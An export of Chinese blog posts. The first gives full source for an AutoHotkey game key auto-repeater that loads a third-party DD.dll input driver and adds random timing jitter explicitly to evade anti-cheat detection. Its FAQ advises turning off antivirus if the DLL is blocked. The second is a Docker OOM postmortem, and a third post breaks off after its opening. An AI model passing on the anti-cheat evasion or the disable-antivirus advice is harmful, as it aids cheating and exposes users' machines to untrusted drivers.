DllCall(\u0026#34;LoadLibrary\u0026#34;, \u0026#34;Str\u0026#34;, DLL_PATH, \u0026#34;Ptr\u0026#34;) pDD_key := DllCall(\u0026#34;GetProcAddress\u0026#34;, \u0026#34;Ptr\u0026#34;, hModule, \u0026#34;AStr\u0026#34;, \u0026#34;DD_key\u0026#34;, \u0026#34;Ptr\u0026#34;) pDD_btn := DllCall(\u0026#34;GetProcAddress\u0026#34;, \u0026#34;Ptr\u0026#34;, hModule, \u0026#34;AStr\u0026#34;, \u0026#34;DD_btn\u0026#34;, \u0026#34;Ptr\u0026#34;) DllCall(pDD_btn, \u0026#34;Int\u0026#34;, 0) ; 初始化驱动 这样做的好处：\n不需要额外的 Class_DD.ahk 文件 加载过程完全可控 加载失败时有明确的错误提示 4. GUI 界面设计\r1 2 MyGui := Gui(, \u0026#34;AHK连发\u0026#34;) MyGui.SetFont(\u0026#34;s10\u0026#34;, \u0026#34;Microsoft YaHei\u0026#34;) 界面包含几个核心区域：\n间隔设置：输入框，单位毫秒，默认 200ms 按键管理：录制按钮 + 一键添加左右键 + 清空 按键列表：带勾选框的 ListView，打勾即参与连发 启动/停止按钮：大号醒目按钮，红色表示运行中 ![界面区域说明](GUI 界面分为间隔设置区、按键管理区、按键列表区、启停控制区四个区域。)\n5. 按键录制功能\r这是体验提升最大的功能。旧版要手动改代码改键码，新版直接按一下就行：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 StartRecord(*) { BtnRec.Text := \u0026#34;请按键...\u0026#34; ih := InputHook(\u0026#34;L1 M T3\u0026#34;) ; 监听一个按键，超时3秒 ih.KeyOpt(\u0026#34;{All}\u0026#34;, \u0026#34;E\u0026#34;) ih.Start() ih.Wait() keyName := StrLower(ih.EndKey ? ih.EndKey : ih.Input) if DD_KEY_MAP.Has(keyName) { AddKeyItem(keyName) } else { ToolTip \u0026#34;未定义按键: \u0026#34; keyName } } 使用 InputHook 拦截下一次按键，查码表后自动添加到列表。超时 3 秒无操作自动取消。\n6. 反作弊检测对策——随机抖动\r很多游戏的 anti-cheat 会检测固定间隔的输入模式。新版加入了 30% 随机抖动：\n1 2 3 4 5 6 ScheduleNext() { interval := IsNumber(EditMs.Value) ? Integer(EditMs.Value) : 200 jitter := Random(-interval * 0.3, interval * 0.3) delay := Max(10, interval + jitter) SetTimer(WorkLoop, -delay) } 举例：设置 200ms 间隔，实际范围是 140~260ms 之间的随机值。每次触发间隔都不同，有效避免被固定模式检测抓包。\n7. 鼠标按键支持\rDD 驱动对鼠标按键的处理与键盘不同——键盘用 DD_key，鼠标用 DD_btn：\n1 2 3 4 5 6 7 8 9 if (itemName = \u0026#34;lb\u0026#34; || itemName = \u0026#34;rb\u0026#34; || itemName = \u0026#34;mid\u0026#34;) { DllCall(pDD_btn, \u0026#34;Int\u0026#34;, code) ; 按下 Sleep 10 DllCall(pDD_btn, \u0026#34;Int\u0026#34;, code * 2) ; 释放 } else { DllCall(pDD_key, \u0026#34;Int\u0026#34;, code, \u0026#34;Int\u0026#34;, 1) ; 按下 Sleep 10 DllCall(pDD_key, \u0026#34;Int\u0026#34;, code, \u0026#34;Int\u0026#34;, 2) ; 释放 } DD 鼠标的释放码是按下码的 2 倍（例如左键按下=1，释放=2）。\n8. 配置持久化\r使用 INI 文件保存设置，重启脚本自动恢复：\n1 2 3 4 5 6 7 8 9 10 SaveConfig() { IniWrite(EditMs.Value, CONFIG_PATH, \u0026#34;Settings\u0026#34;, \u0026#34;Interval\u0026#34;) keyStr := \u0026#34;\u0026#34; Loop LV.GetCount() { name := LV.GetText(A_Index, 2) state := LV.GetNext(A_Index - 1, \u0026#34;Checked\u0026#34;) ? \u0026#34;1\u0026#34; : \u0026#34;0\u0026#34; keyStr .= name \u0026#34;:\u0026#34; state \u0026#34;,\u0026#34; } IniWrite(RTrim(keyStr, \u0026#34;,\u0026#34;), CONFIG_PATH, \u0026#34;Settings\u0026#34;, \u0026#34;Keys\u0026#34;) } 保存格式示例（config.ini）：\n1 2 3 [Settings] Interval=200 Keys=x:1,c:1,lb:0,rb:1 9. 热键\r热键 功能 `（反引号，SC029） 启动/停止连发 F12 彻底退出脚本 反引号键放在 ESC 下面，方便左手操作，不影响正常打字。\n完整源码\r1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 #Requires AutoHotkey v2.0 #SingleInstance Force ; ========================= ; 1. 管理员权限检查 ; ========================= if !A_IsAdmin { Run(\u0026#39;*RunAs \u0026#34;\u0026#39; A_ScriptFullPath \u0026#39;\u0026#34;\u0026#39;) ExitApp() } ; ========================= ; 2. 码表定义 ; ========================= DD_KEY_MAP := Map( \u0026#34;escape\u0026#34;, 100, \u0026#34;f1\u0026#34;, 101, \u0026#34;f2\u0026#34;, 102, \u0026#34;f3\u0026#34;, 103, \u0026#34;f4\u0026#34;, 104, \u0026#34;f5\u0026#34;, 105, \u0026#34;f6\u0026#34;, 106, \u0026#34;f7\u0026#34;, 107, \u0026#34;f8\u0026#34;, 108, \u0026#34;f9\u0026#34;, 109, \u0026#34;f10\u0026#34;, 110, \u0026#34;f11\u0026#34;, 111, \u0026#34;f12\u0026#34;, 112, \u0026#34;``\u0026#34;, 200, \u0026#34;1\u0026#34;, 201, \u0026#34;2\u0026#34;, 202, \u0026#34;3\u0026#34;, 203, \u0026#34;4\u0026#34;, 204, \u0026#34;5\u0026#34;, 205, \u0026#34;6\u0026#34;, 206, \u0026#34;7\u0026#34;, 207, \u0026#34;8\u0026#34;, 208, \u0026#34;9\u0026#34;, 209, \u0026#34;0\u0026#34;, 210, \u0026#34;-\u0026#34;, 211, \u0026#34;=\u0026#34;, 212, \u0026#34;\\\u0026#34;, 213, \u0026#34;backspace\u0026#34;, 214, \u0026#34;tab\u0026#34;, 300, \u0026#34;q\u0026#34;, 301, \u0026#34;w\u0026#34;, 302, \u0026#34;e\u0026#34;, 303, \u0026#34;r\u0026#34;, 304, \u0026#34;t\u0026#34;, 305, \u0026#34;y\u0026#34;, 306, \u0026#34;u\u0026#34;, 307, \u0026#34;i\u0026#34;, 308, \u0026#34;o\u0026#34;, 309, \u0026#34;p\u0026#34;, 310, \u0026#34;[\u0026#34;, 311, \u0026#34;]\u0026#34;, 312, \u0026#34;enter\u0026#34;, 313, \u0026#34;capslock\u0026#34;, 400, \u0026#34;a\u0026#34;, 401, \u0026#34;s\u0026#34;, 402, \u0026#34;d\u0026#34;, 403, \u0026#34;f\u0026#34;, 404, \u0026#34;g\u0026#34;, 405, \u0026#34;h\u0026#34;, 406, \u0026#34;j\u0026#34;, 407, \u0026#34;k\u0026#34;, 408, \u0026#34;l\u0026#34;, 409, \u0026#34;;\u0026#34;, 410, \u0026#34;\u0026#39;\u0026#34;, 411, \u0026#34;lshift\u0026#34;, 500, \u0026#34;z\u0026#34;, 501, \u0026#34;x\u0026#34;, 502, \u0026#34;c\u0026#34;, 503, \u0026#34;v\u0026#34;, 504, \u0026#34;b\u0026#34;, 505, \u0026#34;n\u0026#34;, 506, \u0026#34;m\u0026#34;, 507, \u0026#34;,\u0026#34;, 508, \u0026#34;.\u0026#34;, 509, \u0026#34;/\u0026#34;, 510, \u0026#34;lctrl\u0026#34;, 600, \u0026#34;lwin\u0026#34;, 601, \u0026#34;lalt\u0026#34;, 602, \u0026#34;space\u0026#34;, 603, \u0026#34;up\u0026#34;, 709, \u0026#34;left\u0026#34;, 710, \u0026#34;down\u0026#34;, 711, \u0026#34;right\u0026#34;, 712, \u0026#34;numpad0\u0026#34;, 800, \u0026#34;numpad1\u0026#34;, 801, \u0026#34;numpad2\u0026#34;, 802, \u0026#34;numpad3\u0026#34;, 803, \u0026#34;numpad4\u0026#34;, 804, \u0026#34;numpad5\u0026#34;, 805, \u0026#34;numpad6\u0026#34;, 806, \u0026#34;numpad7\u0026#34;, 807, \u0026#34;numpad8\u0026#34;, 808, \u0026#34;numpad9\u0026#34;, 809, \u0026#34;lb\u0026#34;, 1, \u0026#34;rb\u0026#34;, 4, \u0026#34;mid\u0026#34;, 16 ) ; ========================= ; 3. 加载 DD 驱动 ; ========================= DLL_PATH := A_ScriptDir \u0026#34;\\DD.dll\u0026#34; CONFIG_PATH := A_ScriptDir \u0026#34;\\config.ini\u0026#34; if !FileExist(DLL_PATH) { MsgBox \u0026#34;找不到 DD.dll，请确保它与脚本在同一目录下！\u0026#34; ExitApp() } hModule := DllCall(\u0026#34;LoadLibrary\u0026#34;, \u0026#34;Str\u0026#34;, DLL_PATH, \u0026#34;Ptr\u0026#34;) if !hModule { MsgBox \u0026#34;驱动加载失败，可能是架构不匹配或被杀软拦截。\u0026#34; ExitApp() } pDD_key := DllCall(\u0026#34;GetProcAddress\u0026#34;, \u0026#34;Ptr\u0026#34;, hModule, \u0026#34;AStr\u0026#34;, \u0026#34;DD_key\u0026#34;, \u0026#34;Ptr\u0026#34;) pDD_btn := DllCall(\u0026#34;GetProcAddress\u0026#34;, \u0026#34;Ptr\u0026#34;, hModule, \u0026#34;AStr\u0026#34;, \u0026#34;DD_btn\u0026#34;, \u0026#34;Ptr\u0026#34;) DllCall(pDD_btn, \u0026#34;Int\u0026#34;, 0) ; ========================= ; 4. UI 界面 ; ========================= MyGui := Gui(, \u0026#34;AHK连发\u0026#34;) MyGui.SetFont(\u0026#34;s10\u0026#34;, \u0026#34;Microsoft YaHei\u0026#34;) MyGui.Add(\u0026#34;Text\u0026#34;, \u0026#34;\u0026#34;, \u0026#34;间隔 (ms):\u0026#34;) EditMs := MyGui.Add(\u0026#34;Edit\u0026#34;, \u0026#34;vInterval x+10 w80\u0026#34;, \u0026#34;200\u0026#34;) EditMs.OnEvent(\u0026#34;Change\u0026#34;, (*) =\u0026gt; SaveConfig()) OpFrame := MyGui.Add(\u0026#34;GroupBox\u0026#34;, \u0026#34;xm w280 h60\u0026#34;, \u0026#34;按键管理\u0026#34;) BtnRec := MyGui.Add(\u0026#34;Button\u0026#34;, \u0026#34;xp+10 yp+25 w90\u0026#34;, \u0026#34;录制按键\u0026#34;) BtnRec.OnEvent(\u0026#34;Click\u0026#34;, StartRecord) MyGui.Add(\u0026#34;Button\u0026#34;, \u0026#34;x+5 w50\u0026#34;, \u0026#34;+左键\u0026#34;).OnEvent(\u0026#34;Click\u0026#34;, (*) =\u0026gt; AddKeyItem(\u0026#34;lb\u0026#34;)) MyGui.Add(\u0026#34;Button\u0026#34;, \u0026#34;x+5 w50\u0026#34;, \u0026#34;+右键\u0026#34;).OnEvent(\u0026#34;Click\u0026#34;, (*) =\u0026gt; AddKeyItem(\u0026#34;rb\u0026#34;)) MyGui.Add(\u0026#34;Button\u0026#34;, \u0026#34;x+5 w50\u0026#34;, \u0026#34;清空\u0026#34;).OnEvent(\u0026#34;Click\u0026#34;, ClearList) LV := MyGui.Add(\u0026#34;ListView\u0026#34;, \u0026#34;xm w280 h150 Checked\u0026#34;,[\u0026#34;\u0026#34;, \u0026#34;按键名称\u0026#34;]) LV.ModifyCol(1, 30) LV.ModifyCol(2, 230) LV.OnEvent(\u0026#34;ItemCheck\u0026#34;, (*) =\u0026gt; SaveConfig()) BtnToggle := MyGui.Add(\u0026#34;Button\u0026#34;, \u0026#34;xm w280 h40\u0026#34;, \u0026#34;启动 ( `` )\u0026#34;) BtnToggle.SetFont(\u0026#34;bold s11\u0026#34;) BtnToggle.OnEvent(\u0026#34;Click\u0026#34;, ToggleRunning) MyGui.Add(\u0026#34;Text\u0026#34;, \u0026#34;xm w280 Center cGray\u0026#34;, \u0026#34;F12 彻底退出\u0026#34;) MyGui.OnEvent(\u0026#34;Close\u0026#34;, (*) =\u0026gt; ExitApp()) Global IsRunning := false LoadConfig() MyGui.Show() ; ========================= ; 5. 功能逻辑 ; ========================= StartRecord(*) { BtnRec.Text := \u0026#34;请按键...\u0026#34; ih := InputHook(\u0026#34;L1 M T3\u0026#34;) ih.KeyOpt(\u0026#34;{All}\u0026#34;, \u0026#34;E\u0026#34;) ih.Start() ih.Wait() keyName := StrLower(ih.EndKey ? ih.EndKey : ih.Input) BtnRec.Text := \u0026#34;录制按键\u0026#34; if (keyName == \u0026#34;\u0026#34;) { return } if DD_KEY_MAP.Has(keyName) { AddKeyItem(keyName) } else { ToolTip \u0026#34;未定义按键: \u0026#34; keyName SetTimer (*) =\u0026gt; ToolTip(), -2000 } } AddKeyItem(name, enabled := true) { Loop LV.GetCount() { if (LV.GetText(A_Index, 2) == name) { return } } LV.Add(enabled ? \u0026#34;Check\u0026#34; : \u0026#34;-Check\u0026#34;, \u0026#34;\u0026#34;, name) SaveConfig() } ClearList(*) { Global IsRunning if (LV.GetCount() \u0026gt; 0) { LV.Delete() SaveConfig() } if IsRunning { ToggleRunning() } } ToggleRunning(*) { Global IsRunning if !IsRunning { hasChecked := false Loop LV.GetCount() { if LV.GetNext(A_Index - 1, \u0026#34;Checked\u0026#34;) { hasChecked := true break } } if !hasChecked { ToolTip \u0026#34;请先在列表里【打勾】需要连发的按键\u0026#34; SetTimer (*) =\u0026gt; ToolTip(), -2000 return } IsRunning := true BtnToggle.Text := \u0026#34;停止 ( `` )\u0026#34; BtnToggle.Opt(\u0026#34;cRed\u0026#34;) ScheduleNext() } else { IsRunning := false BtnToggle.Text := \u0026#34;启动 ( `` )\u0026#34; BtnToggle.Opt(\u0026#34;cDefault\u0026#34;) SetTimer(WorkLoop, 0) } } ScheduleNext() { interval := IsNumber(EditMs.Value) ? Integer(EditMs.Value) : 200 jitter := Random(-interval * 0.3, interval * 0.3) delay := Max(10, interval + jitter) SetTimer(WorkLoop, -delay) } WorkLoop() { Global IsRunning Static inLoop := false if !IsRunning || inLoop { return } inLoop := true row := 0 Loop { row := LV.GetNext(row, \u0026#34;Checked\u0026#34;) if !row { break } itemName := LV.GetText(row, 2) if !DD_KEY_MAP.Has(itemName) { continue } code := DD_KEY_MAP[itemName] if (itemName = \u0026#34;lb\u0026#34; || itemName = \u0026#34;rb\u0026#34; || itemName = \u0026#34;mid\u0026#34;) { DllCall(pDD_btn, \u0026#34;Int\u0026#34;, code) Sleep 10 DllCall(pDD_btn, \u0026#34;Int\u0026#34;, code * 2) } else { DllCall(pDD_key, \u0026#34;Int\u0026#34;, code, \u0026#34;Int\u0026#34;, 1) Sleep 10 DllCall(pDD_key, \u0026#34;Int\u0026#34;, code, \u0026#34;Int\u0026#34;, 2) } } inLoop := false if IsRunning { ScheduleNext() } } SaveConfig() { if FileExist(CONFIG_PATH) { FileDelete(CONFIG_PATH) } IniWrite(EditMs.Value, CONFIG_PATH, \u0026#34;Settings\u0026#34;, \u0026#34;Interval\u0026#34;) keyStr := \u0026#34;\u0026#34; Loop LV.GetCount() { name := LV.GetText(A_Index, 2) state := LV.GetNext(A_Index - 1, \u0026#34;Checked\u0026#34;) ? \u0026#34;1\u0026#34; : \u0026#34;0\u0026#34; keyStr .= name \u0026#34;:\u0026#34; state \u0026#34;,\u0026#34; } IniWrite(RTrim(keyStr, \u0026#34;,\u0026#34;), CONFIG_PATH, \u0026#34;Settings\u0026#34;, \u0026#34;Keys\u0026#34;) } LoadConfig() { if !FileExist(CONFIG_PATH) { return } try { iv := IniRead(CONFIG_PATH, \u0026#34;Settings\u0026#34;, \u0026#34;Interval\u0026#34;, \u0026#34;200\u0026#34;) EditMs.Value := iv keysData := IniRead(CONFIG_PATH, \u0026#34;Settings\u0026#34;, \u0026#34;Keys\u0026#34;, \u0026#34;\u0026#34;) if (keysData != \u0026#34;\u0026#34;) { for , item in StrSplit(keysData, \u0026#34;,\u0026#34;) { if (item = \u0026#34;\u0026#34;) { continue } parts := StrSplit(item, \u0026#34;:\u0026#34;) if (parts.Length == 2) { AddKeyItem(parts[1], parts[2] == \u0026#34;1\u0026#34;) } } } } } ; ========================= ; 6. 热键 ; ========================= ~SC029::ToggleRunning() F12::ExitApp() 新旧版本对比\r维度 旧版 (v1) 新版 (v2) AHK 版本 v1 v2.0 界面 无（纯脚本） GUI 界面 按键管理 硬编码键码 录制 + 列表 + 勾选 支持按键数 1 个 不限（多键同时） 鼠标支持 不支持 左/右/中键 间隔调节 固定 20ms 可自定义 反作弊 无 30% 随机抖动 配置保存 无 INI 持久化 DD 加载 Class_DD.ahk 封装 直接 DllCall 权限处理 无 自动提权 使用方法\r安装 AutoHotkey v2.0 将 DD.dll 放到与脚本同一目录 双击运行脚本（自动以管理员身份运行） GUI 界面中： 点击「录制按键」然后按一个键，加入列表 或直接点「+左键」「+右键」添加鼠标按键 在列表中 打勾 需要连发的按键 设置间隔（默认 200ms） 按反引号键（`，ESC 下面那个）启动/停止连发 按 F12 退出 常见问题\rQ: 提示\u0026quot;找不到 DD.dll\u0026quot;？\n确保 DD.dll 与脚本文件在同一目录下。如果是从别处下载的 DD 驱动，注意区分 32 位 / 64 位版本。\nQ: 驱动加载失败？\n通常是杀毒软件拦截了 DD.dll。将脚本目录添加到杀软白名单，或临时关闭杀软后再试。\nQ: 游戏里没反应？\n部分游戏的反作弊系统会拦截 DD 驱动。确认游戏是否允许硬件级模拟输入。\nQ: 想换个启动热键？\n修改最后一行 ~SC029::ToggleRunning() —— SC029 是反引号键的扫描码。改为 ~F8::ToggleRunning() 就是 F8 键启动。\n项目地址\rAutoHotkey 官网 脚本源码：见上方完整源码区域 更新于 2026-06-20：从 AHK v1 纯脚本全面升级为 AHK v2.0 GUI 版本。\n","date":"2021-08-27T08:13:21Z","permalink":"/posts/973246e2/","title":"AHK实现DD驱动按键连发（v2.0 GUI版）"},{"content":"问题背景\r周三晚上 8 点 23 分，钉钉群里炸了锅。\n\u0026ldquo;发货中心挂了，后台全部 502！\u0026quot;——运营同事的消息连着发了 5 条。紧接着，运维监控大屏上 3 个核心服务的健康检查指示灯全部由绿转红。\n我们平台是一个电商 SaaS 系统，发货服务（delivery-service）是核心链路里的一环，负责生成电子面单、调用快递接口、更新订单状态。晚 8 点到 10 点是发货高峰期，如果这个点挂了——当天的订单基本全积压。\n技术栈：Docker Swarm 管理集群，每个服务至少 3 个副本。发货服务是 Java 11 + Spring Boot 2.7，跑在 8 台 16 核 32G 的物理机上。\n紧急程度：P0（核心业务中断），运维同事已经开始手动重启容器，但问题是——重启完不到 3 分钟又崩了。\n故障现象\r第一波告警来自 Nginx 反向代理层：\n1 2 2026-06-18 20:23:15 [error] upstream prematurely closed connection while reading response header from upstream 2026-06-18 20:23:16 [error] connect() failed (111: Connection refused) while connecting to upstream 同时，Prometheus 监控面板显示 delivery-service 的可用副本数在 3 → 2 → 1 → 0 之间快速跳变：\n20:23：3 个副本正常运行 20:24：delivery-service-2 状态变为 unhealthy，被 Swarm 调度器踢出 20:25：delivery-service-1 也挂了，仅剩 delivery-service-3 20:27：最后一个副本也倒下，所有请求 502 登上管理节点 docker service ps delivery-service 一看：\n1 2 3 4 5 ID NAME NODE DESIRED STATE CURRENT STATE ERROR x7a2f3 delivery-service.1 node03 Running Running 12 seconds ago 8b3k9m delivery-service.1 node03 Shutdown Failed 15 seconds ago \u0026#34;task: non-zero exit (137)\u0026#34; p1q5r7 delivery-service.2 node05 Running Running 8 seconds ago n4j6w8 delivery-service.2 node05 Shutdown Failed 10 seconds ago \u0026#34;task: non-zero exit (137)\u0026#34; Exit code 137 是 Docker 世界的死亡代码——容器被 OOM Killer 干掉了（137 = 128 + 9，SIGKILL）。\n更让人头疼的是：delivery-service 挂了之后，同一台宿主机上的 order-service 和 notify-service 也开始出现间歇性 502。问题在蔓延。\n排查过程\r第一步：止血——先让服务活过来\r盲目重启没用，每次启动不到 3 分钟就挂。当务之急是把 delivery-service 的副本数临时扩容，让它至少能扛到我们找到根因：\n1 2 # 先用更多副本来分摊压力，争取排查时间 docker service scale delivery-service=6 但这是饮鸩止渴——如果问题是内存泄漏，副本越多，整个集群的内存压力越大。\n果然，扩容到 6 个之后，宿主机 node03 上的 order-service 容器直接被 OOM Kill 了。这下确定了一个事实：问题不只是 delivery-service 本身，宿主机的内存也在吃紧。\n第二步：看 OOM 日志——谁在吃内存\r登录 node03：\n1 2 # 查看系统 OOM 日志 dmesg -T | grep -i oom | tail -20 输出触目惊心：\n1 2 3 4 5 6 7 8 [Wed Jun 18 20:23:45 2026] oom-kill:constraint=CONSTRAINT_MEMCG, oom_memcg=/docker/abc123def456, task_memcg=/docker/abc123def456, task=java, pid=28471, uid=0 [Wed Jun 18 20:23:45 2026] Memory cgroup out of memory: Killed process 28471 (java) total-vm:12582912kB, anon-rss:9467808kB, file-rss:0kB, shmem-rss:0kB oom_score_adj:0 关键数据：anon-rss:9467808kB——这个 Java 进程的常驻内存占了 9.2 GB！\n再看容器级别的内存曲线：\n1 2 3 # 查看被 Kill 容器的资源使用历史 docker stats --no-stream --format \u0026#34;table {{.Name}}\\t{{.MemUsage}}\\t{{.MemPerc}}\u0026#34; \\ | grep delivery 正常启动时，delivery-service 内存使用约 1.2 GB。但每处理一批发货请求，内存就涨一点，从不回落。启动 3 分钟后直奔 9 GB，触发了 Swarm 为这个服务设置的 --memory=10g 上限（已逼近宿主机 32G 总内存的警戒线）。\n第三步：抓 Java 堆——确认泄漏对象\r在容器还没挂的时候（黄金窗口只有启动后的 2 分钟内），紧急上去抓堆：\n1 2 3 4 5 6 7 8 # 进入容器 docker exec -it delivery-service.3.abc123 /bin/bash # 抓 heap dump jmap -dump:live,format=b,file=/tmp/heap.hprof 1 # 快速看下 top 对象 jmap -histo:live 1 | head -30 histo 输出前三名：\n1 2 3 4 num #instances #bytes class name 1: 3284512 262760960 [B 2: 1558327 174533424 java.util.LinkedHashMap$Entry 3: 1539820 123185600 com.xxx.delivery.cache.WaybillCache WaybillCache 这个自定义缓存对象有 150 万个实例，占了约 120MB。但真正吞内存的是 [B（字节数组）——3.2 亿字节、约 250MB 的 byte[]。\nWaybillCache 里每个对象都持有一个 byte[]（快递公司返回的面单 PDF 数据），一个面单 PDF 约 80KB。正常业务场景下，面单生成后应该被序列化到 OSS 并从内存中释放，但现在它们全滞留在了 LinkedHashMap 里。\n第四步：读代码——缓存为什么不清\r找到 WaybillCache 的实现：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 @Component public class WaybillCache { // 问题代码：没有大小限制，没有过期策略 private static final Map\u0026lt;String, byte[]\u0026gt; CACHE = new LinkedHashMap\u0026lt;\u0026gt;(); public void put(String orderNo, byte[] pdfData) { CACHE.put(orderNo, pdfData); } public byte[] get(String orderNo) { return CACHE.get(orderNo); } // 没有 remove()，没有 evict()，没有 TTL } 根因一目了然：\nLinkedHashMap 没有任何淘汰策略——没有 removeEldestEntry()，没有最大容量 写入后从不删除——面单生成后存在 Map 里，直到 JVM OOM 没有 TTL——即使订单已经发货完毕，缓存里的 PDF 数据永远不释放 每次发货请求都往这个 Map 里 put 一次。晚高峰每秒 200 单的发货量，1 分钟就是 12000 条记录 × 80KB ≈ 960MB。3 分钟直接撑爆 10G 内存限制。\n第五步：验证其他宿主机\r检查其他 7 台机器的 OOM 日志，发现 node05、node07 也在同一时刻触发了 OOM。问题不是单机故障，是整个 delivery-service 集群的系统性内存泄漏。\n而且，OOM Killer 在回收 delivery-service 时，同一台宿主机的其他容器也会被牵连——内核 OOM 打分机制下，order-service 的 oom_score 也不低，所以出现了连带 Kill。\n解决方案\r1. 紧急修复——代码热修复 + 重启\r运维同事紧急拉了一个 hotfix 分支，把 LinkedHashMap 改成基于 Caffeine 的有界缓存：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import com.github.benmanes.caffeine.cache.Cache; import com.github.benmanes.caffeine.cache.Caffeine; import java.util.concurrent.TimeUnit; @Component public class WaybillCache { private final Cache\u0026lt;String, byte[]\u0026gt; cache = Caffeine.newBuilder() .maximumSize(1000) // 最多存 1000 条 .expireAfterWrite(5, TimeUnit.MINUTES) // 5 分钟过期 .removalListener((key, value, cause) -\u0026gt; { log.info(\u0026#34;WaybillCache evicted: {}, cause: {}\u0026#34;, key, cause); }) .build(); public void put(String orderNo, byte[] pdfData) { cache.put(orderNo, pdfData); } public byte[] get(String orderNo) { return cache.getIfPresent(orderNo); } } CI/CD 流水线跑完，重新部署：\n1 2 3 4 5 6 # 滚动更新 docker service update --image registry.xxx.com/delivery-service:hotfix-v2 \\ --limit-memory 8g --limit-memory-reservation 4g delivery-service # 观察启动 docker service ps delivery-service --no-trunc 2. 容器层加固\r在 docker-compose / stack 文件里加了硬限制：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 services: delivery-service: image: registry.xxx.com/delivery-service:latest deploy: replicas: 3 resources: limits: memory: 8G # 硬上限 reservations: memory: 4G # 软预留 environment: - JAVA_OPTS=-Xms2g -Xmx6g -XX:+UseG1GC -XX:MaxGCPauseMillis=200 -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/tmp/heapdump.hprof 要点说明：\n-Xmx6g 给 JVM 堆设了明确上限，留 2G 给堆外内存和 OS； -XX:+HeapDumpOnOutOfMemoryError：再出问题自动 dump，省掉了上去手动 jmap 的黄金窗口压力； 容器 memory: 8G 硬限制，超过直接 Kill，不拖累宿主机上其他容器。 3. 监控告警\r在 Prometheus 里加了容器级别的内存告警规则：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 groups: - name: container_memory rules: - alert: ContainerMemoryHigh expr: container_memory_working_set_bytes{name=~\u0026#34;delivery-service.*\u0026#34;} / container_spec_memory_limit_bytes \u0026gt; 0.8 for: 2m labels: severity: warning annotations: summary: \u0026#34;delivery-service 内存使用超过 80%\u0026#34; - alert: ContainerOOMKilled expr: rate(container_oom_events_total[5m]) \u0026gt; 0 labels: severity: critical annotations: summary: \u0026#34;检测到容器被 OOM Kill\u0026#34; 根因分析\r直接原因：WaybillCache 使用无界 LinkedHashMap 做面单 PDF 数据缓存，写入后从不淘汰，高峰流量下内存持续线性增长直至 OOM。\n深层原因有三层：\n代码层面：开发同学对缓存基础组件缺乏敬畏，\u0026ldquo;一个 Map 就是缓存\u0026quot;的认知导致没有考虑淘汰策略和容量上限。任何缓存系统必须回答三个问题：最大容量多少？什么条件下淘汰？淘汰策略是什么？ 用 LinkedHashMap 不代表它就是安全的缓存。\n流程层面：这个 WaybillCache 是一个月前由一位离职同事写的，Code Review 时没有人关注缓存的容量和淘汰策略。CR 只看了业务逻辑对不对，没看资源安全和边界条件。\n运维层面：容器 OOM 告警缺失。直到用户报障、监控大屏亮红灯才知道出了问题。晚 8 点之前其实内存就在涨了，如果 70% 的时候就有告警，完全可以提前介入。\n预防措施\r缓存规范：团队内部定了缓存使用规范——禁止裸用 HashMap / LinkedHashMap 做缓存；必须使用有界缓存（Caffeine / Guava Cache），强制设置 maximumSize 和 expireAfterWrite。在 CI 里加了简单的静态检查规则，扫描 new LinkedHashMap 和 new HashMap 出现在 Cache 相关类里会报警。\nJVM 参数标准化：所有 Java 服务统一带上 -XX:+HeapDumpOnOutOfMemoryError，生产环境预留至少 20% 容器内存给堆外。\n容器资源限制白盒化：在 CI 打包阶段自动校验 Dockerfile 或编排文件里是否声明了 resources.limits.memory，没声明的不允许上线。\n监控前置：每条业务线至少配置 3 条基础告警——CPU \u0026gt; 80%、内存 \u0026gt; 80%、容器重启次数 \u0026gt; 0。告警阈值在代码合入 production 分支时自动生成 Ansible playbook 推送到 Prometheus。\n压测 + 内存 Profile：所有涉及缓存的模块，要求在上线前做一次至少 30 分钟的压测，附带 JVM 内存趋势图，确认没有持续增长。\n总结\r这次故障从发现到修复历时 47 分钟，影响订单发货约 12000 单。教训非常深刻：\n第一，容器给运维带来了便利，也带来了\u0026quot;邻居效应\u0026rdquo;。以前物理机部署，一个应用内存泄漏大不了重启自己。Docker 环境下，一个容器的无限制增长会拖累整个宿主机的内存池，OOM Killer 的连带伤害让问题变成雪崩。\n第二，缓存不是\u0026quot;先跑起来再优化\u0026quot;的东西。无界缓存在生产环境就是定时炸弹，只是你不知道引线有多长。晚高峰就是那根火柴。\n第三，OOM 排查的顺序很重要：先看 dmesg 确认是 OOM → 看 docker stats 确定是哪个容器 → jmap 抓堆确定是什么对象泄漏 → 读代码定位根因。不要跳步，不要上来就怀疑网络、怀疑数据库，exit code 137 就是最诚实的线索。\n运维圈有一句话：\u0026ldquo;没有容量上限的缓存，就是内存泄漏的另一种写法。\u0026rdquo;\n","date":"2024-07-19T23:47:34Z","permalink":"/posts/def9cf20/","title":"Docker 容器 OOM，服务雪崩是怎么炸开的？"},{"content":"问题背景\r周一早上 9 点，刚到办公室坐下，内部沟通群里就开始炸了——整层楼的员工纷纷反馈\u0026quot;连不上网\u0026quot;\u0026ldquo;网页打不开\u0026quot;\u0026ldquo;钉钉掉线\u0026rdquo;。我们公司办公区大约 200 人，分布在两个楼层，通过核心交换机连接到上联防火墙出口。网络拓扑相对简单：核心交换机做 DHCP Server，每个 VLAN 